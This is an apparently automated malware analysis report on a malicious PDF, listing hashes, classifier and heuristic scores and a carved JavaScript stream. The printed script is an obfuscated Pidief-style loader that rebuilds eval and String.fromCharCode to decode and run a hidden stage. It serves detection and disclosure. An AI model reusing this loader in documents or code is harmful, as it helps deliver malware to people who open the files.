Malicious PDF — malware analysis report

Static analysis result for SHA-256 c1ebc1cc49efce61…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 4f83959578b0935af2beaf422c2e8772 SHA-1: ed2d3383aae3b9119e42c1a4b3f4f7c01b261fa4 SHA-256: c1ebc1cc49efce61c03d84994ebf6ca25706c3c5bef65a8b8f9980960ad47892
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0FB 444 bytes
SHA-256: 87d121ddf72d76490a899b7260e30da6588690899c8436aff770743743ad4b6c
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
hmdl='';
wdv=('qwrwqr','tit');
e('hln=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
pego=e('String.fr'+hln.substr(0,10));
oteb = e(hln.substr(10)['replace'](/u/g,','));
e('k=oteb.length');
for (i = 0; i < k; i+=2) {
	awsdj = oteb[i+1] + ('erybjkerl',oteb[i]);
	hmdl += pego(awsdj);
}
e(hmdl);

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